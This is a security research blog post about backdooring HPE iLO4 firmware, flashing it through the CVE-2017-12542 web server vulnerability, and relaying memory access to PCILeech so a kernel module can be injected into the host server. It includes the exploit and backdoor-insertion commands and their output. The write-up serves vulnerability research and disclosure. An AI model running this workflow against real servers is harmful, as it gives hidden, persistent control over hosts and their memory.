Using your BMC as a DMA device: plugging PCILeech to HPE iLO 4

2018 has been a really tough year for BMCs! Although their attack surface was not something new (IPMI has been studied by Dan Farmer back in 2013, followed by a state-of-the-art blogpost by HD Moore), recent studies have shed light on how powerful these devices are in the servers, being able to directly access the main host memory, and how poor their code quality and software mitigations were.

While Immunity presented critical vulnerabilities on both HPE iLO 2 and Dell iDRAC, we (Alexandre Gazet from Airbus, Joffrey Czarny from Medallia, and myself) focused on HPE iLO latest versions, namely iLO4 and iLO5.

This study has been presented in 3 different parts:

In this latest presentation, we told the audience that the memory R/W primitive we got through the vulnerability allows us to perform in-memory attacks just as PCILeech tool does. Indeed, Nicolas Iooss told us he successfully managed to use this tool for the exploitation of yet-another HPE iLO vulnerability.

It seems this feature would be interesting, so this blogpost aims at describing a proof-of-concept of a link between PCILeech and HPE iLO4 using a modified firmware.

ulffrisk_tweet.png

PCILeech

PCILeech is a tool using either hardware or software memory acquisition devices to perform various actions on a target's physical memory, including inserting kernel modules and unlocking sessions.

Adding a new device is quite straightforward:

  • Create a new pair of source and header files implementing open, read, write and close primitives;
  • Add references to this new device in pcileech.{c,h} and device.c;
  • Add the new files to the compilation chain in the Makefile.

For the sake of simplicity, we chose to implement a dummy device backed by a TCP server written in Python. This has two main advantages:

  • This device can be easily reused to communicate with whatever device providing read and write primitives to memory;
  • Changing the iLO-specific part would not involve recompiling PCILeech, we could imagine exploiting a vulnerability on a stock firmware instead of using our modified firmware.

The big picture is as follows:

big_picture.png

For the communication between PCILeech and the service, we designed a very simple protocol supporting 3 different commands:

  • Status: to check if the remote service is ready;
  • Read: read memory primitive;
  • Write: write memory primitive.

Each packet contains the command identifier as well as an address and a size.

typedef enum tdRawTCPCmd {
    STATUS,
    MEM_READ,
    MEM_WRITE
} RawTCPCmd;

typedef struct tdRAWTCP_PROTO_PACKET {
    RawTCPCmd cmd;
    QWORD addr;
    QWORD cb;
} RAWTCP_PROTO_PACKET, *PRAWTCP_PROTO_PACKET;

This is all we need for a working PCILeech device. The modified version has been put online on our repository.

iLO modified firmware

As a proof-of-concept, we will re-use the backdoored firmware we crafted as a demonstration of our SSTIC presentation.

As a reminder, this firmware exposes a new endpoint in the web server task, providing read and write memory primitives through GET HTTP requests. There are some drawbacks in using this firmware, as the HTTP communication adds a time overhead and restricts the size of data which can be sent in a single request, but it is sufficient for this proof-of-concept. Writing a faster implant in the firmware is left as an exercise to the reader :)

All the tooling to insert the "backdoor" in an iLO4 2.50 firmware has been released after our SSTIC presention on the ilo4_toolbox repository. We recently added the exploit code which effectively writes this backdoored firmware on the flash chip through the use of the CVE-2017-12542 web server vulnerability. Be aware that using this code can brick your iLO, and even the whole server!

The new GET handler code is in the GET_handler.S file, and can be inserted as follows:

$ ./insert_backdoor.sh /tmp/ilo4_250.bin
[+] Extracting certificate 0
[+] Extracting certificate 1
[+] Extracting certificate 2
[+] iLO bootloader header : iLO4 v 2.50.67 23-Sep-2016

[...]

[+] Patch applied to outdir/bootloader.bin.patched
[+] Patch applied to outdir/kernel_main.bin.patched
[+] Patch applied to outdir/elf.bin.patched
[+] Compressing ELF... please take a coffee...

     )))
    (((
  +-----+
  |     |]
  `-----'

    Compressed 0x16d74bc -> 0xd3c86f
[+] Compressing Kernel...
    Compressed 0xc0508 -> 0x75a1e
[+] Firmware ready to be flashed

This can take a few minutes given the very low speed of the compression/decompression algorithms implemented in Python :)

The resulting firmware can then be flashed by exploiting the web server vulnerability:

$ python exploit_write_flash.py 192.168.42.78 250 /tmp/ilo4_250.bin.backdoored.toflash
[*] Connecting to 192.168.42.78...
[+] Connected

[...]

[*] Ready! Send content (1000000 bytes)
[*] Sent 00000000 bytes...

[...]

[*] 01000000 bytes written...
[+] Done

After the flash, iLO needs to be restarted to boot on its new firmware. If anything went wrong, the kernel should open a recovery FTP server. If it does not, well, refer to our ZeroNights talk and get your hands dirty: you will have to reflash the chip by hardware means!

iLO PCILeech service

The service in charge of relaying read and write queries from PCILeech to iLO has been written in Python and can be easily modified to include new modules: you can for example write an exploit for one of the remote iLO vulnerabilities and add it as a way to gain read and write access to the host memory.

The code has been released on our repository and only includes the module to talk with the backdoored firmware. When executed, it waits for incoming connections on local port 8888.

/pcileech_service$ python run.py
usage: run.py <ilo ip address> <mode>
    mode: backdoor
/pcileech_service$ python run.py 192.168.42.78 backdoor

We can now the use PCILeech with the new RawTCP device, and insert a kernel module in the memory of the Linux running on the HPE server!

$ time ./pcileech kmdload -vvv -device rawtcp -device-addr 127.0.0.1 -device-port 8888 -kmd LINUX_X64_48 

 Current Action: Scanning for Linux kernel base
 Access Mode:    DMA (hardware only)
 Progress:       748 / 268435422 (0%)
 Speed:          6 MB/s
 Address:        0x000000002FA00000
 Pages read:     191488 / 68719468032 (0%)
 Pages failed:   0 (0%)

 Current Action: Verifying Linux kernel base
 Access Mode:    DMA (hardware only)
 Progress:       32 / 32 (100%)
 Speed:          1 MB/s
 Address:        0x0000000031A00000
 Pages read:     8192 / 8192 (100%)
 Pages failed:   0 (0%)
KMD: Code inserted into the kernel - Waiting to receive execution.
KMD: Execution received - continuing ...
KMD: Successfully loaded at address: 0x76680000

real    2m38.038s

After 2 minutes and 38 seconds, the kernel module has been directly inserted in memory, without any prior knowledge of the kernel location in physical memory!

Conclusion

Pure memory dump performance is about 1MB/s on a local link, which is not so bad if you focus on specific parts of the memory. The write operation is however really slower because of the previously mentioned limitations.

If you get your hands on a Gen8 or Gen9 HPE server and want to play with iLO firmware modding, feel free to implement a better and faster R/W primitive and get in touch with us, we would love to hear about it!